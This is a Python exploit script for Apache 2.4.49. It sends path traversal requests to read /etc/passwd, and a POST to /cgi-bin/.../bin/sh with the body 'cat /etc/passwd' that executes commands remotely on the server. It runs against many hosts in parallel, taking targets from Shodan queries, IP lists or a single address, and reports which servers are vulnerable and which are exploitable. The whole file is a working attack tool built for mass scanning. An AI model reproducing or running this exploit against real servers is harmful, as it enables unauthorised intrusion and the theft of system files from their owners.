#!/usr/bin/python3 import argparse import time import subprocess import logging import threading import sys import signal try: import requests import pyfiglet import shodan except ImportError as e: print("The error occured:%s"%e) print("Try this: pip3 install -r ./related.txt") sys.exit(0) TMP_PATH='/tmp/' parser=argparse.ArgumentParser(description="Exploit Apache 2.4.49!") parser.add_argument("-o","--output",dest='outputfile',help="Output into path you input.The default path in dir /tmp",type=str) parser.add_argument("-t","--task",dest='tasks',help="Run TASKS number of connects in parallel,default is 10.",default=10,type=int) group1=parser.add_mutually_exclusive_group() group1.add_argument("-Q","--quiet",dest='quiet',help="Quiet mode.",action='store_true') group1.add_argument("-v","--verbose",dest='verbose',help="Show more informations.",action='store_true') group2=parser.add_mutually_exclusive_group() group2.add_argument("-i","--ip",dest='ip',help="The Apache ip and port.Example: 192.168.1.100:80",type=str) group2.add_argument("-l","--list",dest='inputfile',help="The Apache's ip:port address file. The file's format like this 192.168.1.100:80 in a line.",type=str) group2.add_argument("-s","--shodan",dest='shodan',help="Use Shodan",type=bool, nargs='?', const=True) group3=parser.add_argument_group() group3.add_argument("-q","--query",dest='query',help="Shodan search dork. Ex: 'product:\"XXX\" country:\"IT\" city:\"Rome\"'",type=str, default="Apache 2.4.49") group3.add_argument("-c","--count",dest='count',help="The number of ip you want to get from Shodan. Default is 1000.",default=1000,type=int) group3.add_argument("-k","--shodan_key",dest='shodan_key',help="Your Shodan API Key.You can get help from https://www.shodan.io/",type=str) args=parser.parse_args() if args.outputfile: logger = logging.getLogger() try: fh = logging.FileHandler(args.outputfile) except Exception: fh=logging.FileHandler(TMP_PATH+args.outputfile) logger.addHandler(fh) logger.setLevel(logging.INFO) def handlesignal(signum,frame): print(color.Mindyellow+"\nYou choose to stop exploiting.") sys.exit(0) class Color(object): Warnred = '\033[91m' Sucgreen = '\033[92m' Defblue = '\033[94m' Headmagenta = '\033[95m' Mindyellow='\033[93m' color=Color() signal.signal(signal.SIGINT,handlesignal) class ApacheThread(threading.Thread): def __init__(self,ip,port): threading.Thread.__init__(self) self.match="root:x:0:0:root" self.path="/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" self.path_post="/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh" self.ip=ip self.port=port if self.port == 80: self.proto="http" else: self.proto="https" self.travurl = "%s://%s:%s"%(self.proto,self.ip,self.port) self.count=0 def getPasswd(self): try: self.session = requests.Session() self.get_request = requests.Request(method='GET', url=self.travurl+self.path) self.post_request = requests.Request(method='POST', url=self.travurl+self.path_post, data='A=|echo;cat /etc/passwd') self.prepare_get = self.get_request.prepare() self.prepare_post = self.post_request.prepare() self.prepare_get.url = self.travurl+self.path self.prepare_post.url = self.travurl+self.path_post self.g_r = self.session.send(self.prepare_get, verify=False, timeout=5) self.p_r = self.session.send(self.prepare_post, verify=False, timeout=5) self.get_content = self.g_r.text self.get_status_code = self.g_r.status_code self.post_content = self.p_r.text self.post_status_code = self.p_r.status_code if self.get_status_code == 200 and self.match in self.get_content: return 1 elif self.match in self.post_content: return 2 except Exception: return None def run(self): try: passwd=self.getPasswd() if passwd is not None and passwd == 1: if args.outputfile: logger.info(color.Sucgreen+"[+]The Apache ip:%s,port:%s is vulnerable!"% (self.ip, self.port)) if args.verbose: print(color.Sucgreen+"[+]The Apache ip:%s,port:%s is vulnerable!"% (self.ip, self.port)) if args.outputfile: logger.info("*"*50) if args.verbose: print("*"*50) elif passwd is not None and passwd == 2: if args.outputfile: logger.info(color.Sucgreen+"[+]The Apache ip:%s,port:%s is vulnerable and exploitable!"% (self.ip, self.port)) if args.verbose: print(color.Sucgreen+"[+]The Apache ip:%s,port:%s is vulnerable and exploitable!"% (self.ip, self.port)) if args.outputfile: logger.info("*"*70) if args.verbose: print("*"*70) else: if args.outputfile: logger.info(color.Defblue+"[-]The Apache ip:%s,port:%s is not vulnerable!" % (self.ip,self.port)) logger.info("*"*50) print(color.Defblue+"[-]The Apache ip:%s,port:%s is not vulnerable!" % (self.ip,self.port)) print("*"*50) except Exception: pass class Shodan(object): def __init__(self,key,query,limit): self.key=key self.query=query self.limit=limit def shodan(self): counter=0 try: api = shodan.Shodan(self.key) result = api.search_cursor(self.query) print(color.Sucgreen+"[+] Scanning for %s results please wait..."%(self.limit)) self.shodaniplist=[] for service in result: self.shodaniplist.append(service['ip_str'] + ':' + str(service['port'])) counter += 1 if counter >= self.limit: break return self.shodaniplist except Exception as e: if "limit reached" or "query credits" in e: print(color.Warnred+"[!] Key does not support filter or you don't have more credits :'(") else: print('Error: %s' % e) sys.exit(1) def exploit(tmp_ip_list): instance_list = [] for i in tmp_ip_list: tmp_ip = i.split(':')[0] tmp_port = i.split(':')[-1] tmp_instance = ApacheThread(ip=tmp_ip, port=tmp_port) tmp_instance.setDaemon(True) instance_list.append(tmp_instance) if len(instance_list) > args.tasks - 1: for ins in instance_list: ins.start() for ins in instance_list: ins.join() instance_list = [] try: for ins in instance_list: ins.start() for ins in instance_list: ins.join() except Exception: pass def main(): subprocess.Popen("clear",shell=True) fig=pyfiglet.Figlet('slant') HEADER=fig.renderText('APACHE') VERSION='version:0.0.1' WRITER='https://github.com/mattiols' print(color.Headmagenta+HEADER) print(color.Headmagenta+VERSION.center(70)) print(color.Headmagenta+WRITER.center(70)) print(color.Defblue+"Press Ctrl+C to stop.") if args.shodan: try: tmp_s=Shodan(key=args.shodan_key,query=args.query,limit=args.count) tmp_ip_list=tmp_s.shodan() exploit(tmp_ip_list) except Exception as e: print("The error occured:",e) print("Pleas use python3 apache.py -h or ./apache.py -h for more help") elif args.inputfile: try: tmp_ip_list = [] with open(args.inputfile,'r') as f: for i in f.readlines(): tmp_ip_list.append(i.strip()) exploit(tmp_ip_list) except Exception as e: print("The error occured:%s"%e) print("Pleas use python3 apache.py -h or ./apache.py -h for more help") elif args.ip: try: ip=args.ip.split(':')[0] port=args.ip.split(':')[-1] inst=ApacheThread(ip=ip,port=port) inst.start() inst.join() except Exception as e: print("The error occured:%s"%e) print("Pleas use python3 apache.py -h or ./apache.py -h for more help") else: print("Use python3 apache.py -h or ./apache.py -h for more help") if __name__=='__main__': try: main() except Exception: print("Use python3 apache.py -h or ./apache.py -h for more help")